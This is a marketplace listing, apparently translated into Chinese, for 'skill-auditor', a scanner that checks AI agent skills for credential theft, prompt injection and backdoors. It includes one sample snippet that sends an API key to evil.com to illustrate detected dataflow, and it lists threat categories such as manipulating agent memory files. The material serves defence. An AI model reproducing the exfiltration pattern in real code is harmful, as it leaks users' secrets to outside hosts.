返回顶部
s

skill-auditor技能审计器

Security scanner that catches malicious skills before they steal your data. Detects credential theft, prompt injection, and hidden backdoors. Works immediately with zero setup. Optional AST dataflow analysis traces how your data moves through code.

作者: admin | 来源: ClawHub
源自
ClawHub
版本
V 2.1.3
安全检测
已通过
2,664
下载量
免费
免费
1
收藏
概述
安装方式
版本历史

skill-auditor

技能审计器 v2.1

增强型安全扫描器,可分析技能并提供全面的威胁检测,具备高级分析能力。

安装后

运行设置向导以配置可选功能:

bash
cd skills/skill-auditor
node scripts/setup.js

该向导会解释每项功能,展示真实测试数据,并让您选择要启用的内容。

快速入门

扫描技能:
bash
node skills/skill-auditor/scripts/scan-skill.js <技能目录>

审计所有已安装的技能:
bash
node skills/skill-auditor/scripts/audit-installed.js

设置向导(推荐)

运行交互式设置以配置可选功能:

bash
cd skills/skill-auditor
node scripts/setup.js

该向导将:

  1. 1. 检测您的操作系统(Windows、macOS、Linux)
  2. 检查 Python 可用性(AST 分析所需)
  3. 提供安装 tree-sitter 以进行数据流分析
  4. 配置自动扫描(安装技能时)
  5. 保存偏好设置到 ~/.openclaw/skill-auditor.json

设置命令

bash
node scripts/setup.js # 交互式设置向导
node scripts/setup.js --status # 显示当前配置
node scripts/setup.js --enable-ast # 仅启用 AST 分析

审计所有已安装的技能

一次性扫描 OpenClaw 安装中的每个技能:

bash
node scripts/audit-installed.js

选项:
bash
node scripts/audit-installed.js --severity critical # 仅严重问题
node scripts/audit-installed.js --json # 将结果保存到 audit-results.json
node scripts/audit-installed.js --verbose # 显示每个技能的主要发现

输出:

  • - 颜色编码的风险级别(🚨 严重、⚠️ 高、📋 中、✅ 干净)
  • 摘要统计(扫描总数,按风险级别分类)
  • 高风险技能及其功能的详细列表

跨平台安装

核心扫描器(无依赖)

仅需 Node.js(OpenClaw 已提供)即可在所有平台上运行。

AST 分析(可选)

需要 Python 3.8+ 和 tree-sitter 包。
平台Python 安装Tree-sitter 安装
Windows预装或 winget install Python.Python.3pip install tree-sitter tree-sitter-python
macOS
预装或 brew install python3 | pip3 install tree-sitter tree-sitter-python | | Linux | apt install python3-pip | pip3 install tree-sitter tree-sitter-python |

注意: Tree-sitter 为所有平台提供预编译 wheel——无需 C++ 编译器!

核心功能(始终可用)

  • - 静态模式分析 — 基于正则表达式检测 40+ 种威胁模式
  • 意图匹配 — 针对技能声明目的的上下文分析
  • 准确性评分 — 评估行为与描述的匹配程度(1-10 分)
  • 风险评估 — 干净 / 低 / 中 / 高 / 严重级别
  • OpenClaw 特定检测 — 检测 MEMORY.md、会话工具、代理操纵
  • 远程扫描 — 支持 GitHub URL(通过 scan-url.js)
  • 可视化报告 — 人类可读的威胁摘要

高级功能(可选)

1. Python AST 数据流分析

通过代码执行路径追踪从源到目的地的数据

bash
npm install tree-sitter tree-sitter-python
node scripts/scan-skill.js <技能> --mode strict

检测内容:

  • - 环境变量 → 网络请求
  • 文件读取 → HTTP 提交
  • 内存文件访问 → 外部 API
  • 跨函数数据流

示例:
python

文件 1: utils.py


def getsecrets(): return os.environ.get(APIKEY)

文件 2: main.py

key = get_secrets() requests.post(evil.com, data=key) # ← 检测到数据流!

2. VirusTotal 二进制扫描

针对 70+ 个防病毒引擎扫描可执行文件

bash
export VIRUSTOTALAPIKEY=您的密钥
node scripts/scan-skill.js <技能> --use-virustotal

支持的格式: .exe、.dll、.bin、.wasm、.jar、.apk 等。

输出包括:

  • - 恶意软件检测状态
  • 引擎共识(例如,3/70 个引擎标记)
  • 直接 VirusTotal 报告链接
  • 用于验证的 SHA256 哈希值

3. LLM 语义分析

使用 AI 理解检测到的行为是否与声明的意图匹配

bash

需要 OpenClaw 网关运行


node scripts/scan-skill.js <技能> --use-llm

工作原理:

  1. 1. 按类别分组发现
  2. 询问 LLM:此行为是否与技能描述匹配?
  3. 根据语义理解调整严重性
  4. 提供置信度评级

示例:

  • - 发现: 访问 MEMORY.md
  • 技能描述: 优化代理内存使用
  • LLM 裁决: 合法——直接支持声明目的
  • 结果: 严重性降级,标记为预期行为

4. 用于 CI/CD 的 SARIF 输出

GitHub 代码扫描兼容格式

bash
node scripts/scan-skill.js <技能> --format sarif --fail-on-findings

GitHub 集成:
yaml

.github/workflows/skill-scan.yml


  • - name: 扫描技能

run: |
node skill-auditor/scripts/scan-skill.js ./skills/new-skill \
--format sarif --fail-on-findings > results.sarif
  • - name: 上传 SARIF

uses: github/codeql-action/upload-sarif@v2
with:
sarif_file: results.sarif

5. 检测模式

可调节的灵敏度级别

bash
--mode strict # 所有模式,误报率较高
--mode balanced # 默认,优化准确性
--mode permissive # 仅关键模式

使用示例

基本扫描

bash

扫描本地技能

node scripts/scan-skill.js ../my-skill

使用 JSON 输出

node scripts/scan-skill.js ../my-skill --json report.json

格式化可视化报告

node scripts/format-report.js report.json

高级扫描

bash

使用所有功能进行全面分析

node scripts/scan-skill.js ../my-skill \ --mode strict \ --use-virustotal \ --use-llm \ --format sarif \ --json full-report.sarif

CI/CD 集成

node scripts/scan-skill.js ../my-skill \ --format sarif \ --fail-on-findings \ --mode balanced

远程扫描

bash

无需克隆即可扫描 GitHub 技能

node scripts/scan-url.js https://github.com/user/skill --json remote-report.json node scripts/format-report.js remote-report.json

安装选项

零依赖(推荐用于 CI)

bash

立即可用——无需安装

node skill-auditor/scripts/scan-skill.js <技能>

可选高级功能

bash cd skills/skill-auditor

安装所有可选功能

npm install

或选择性安装:

npm install tree-sitter tree-sitter-python # AST 分析 npm install yara # YARA 规则(未来)

VirusTotal 仅需 API 密钥:

export VIRUSTOTALAPIKEY=您的密钥

LLM 分析需要 OpenClaw 网关:

openclaw gateway start

检测内容

核心威胁类别

  • - 提示注入 — AI 指令操纵尝试
  • 数据泄露 — 未经授权的数据传输
  • 敏感文件访问 — MEMORY.md、凭据、SSH 密钥
  • Shell 执行 — 命令注入、任意代码执行
  • 路径遍历 — 目录逃逸攻击
  • 混淆 — 隐藏/编码内容
  • 持久化 — 系统修改以永久访问
  • 权限提升 — 浏览器自动化、设备访问

OpenClaw 特定模式

  • - 内存文件写入 — 通过 MEMORY.md、AGENTS.md 持久化
  • 会话工具滥用 — 通过 sessions_send 数据泄露
  • 网关控制 — config.p

标签

skill ai

通过对话安装

该技能支持在以下平台通过对话安装:

OpenClaw WorkBuddy QClaw Kimi Claude

方式一:安装 SkillHub 和技能

帮我安装 SkillHub 和 skill-auditor-1776374892 技能

方式二:设置 SkillHub 为优先技能安装源

设置 SkillHub 为我的优先技能安装源,然后帮我安装 skill-auditor-1776374892 技能

通过命令行安装

skillhub install skill-auditor-1776374892

下载

⬇ 下载 skill-auditor v2.1.3(免费)

文件大小: 77.97 KB | 发布时间: 2026-4-17 15:05

v2.1.3 最新 2026-4-17 15:05
Removed test malicious files that triggered ClawHub security scan

Archiver·手机版·闲社网·闲社论坛·羊毛社区· 多链控股集团有限公司 · 苏ICP备2025199260号-1

Powered by Discuz! X5.0   © 2024-2025 闲社网·线报更新论坛·羊毛分享社区·http://xianshe.com

p2p_official_large
返回顶部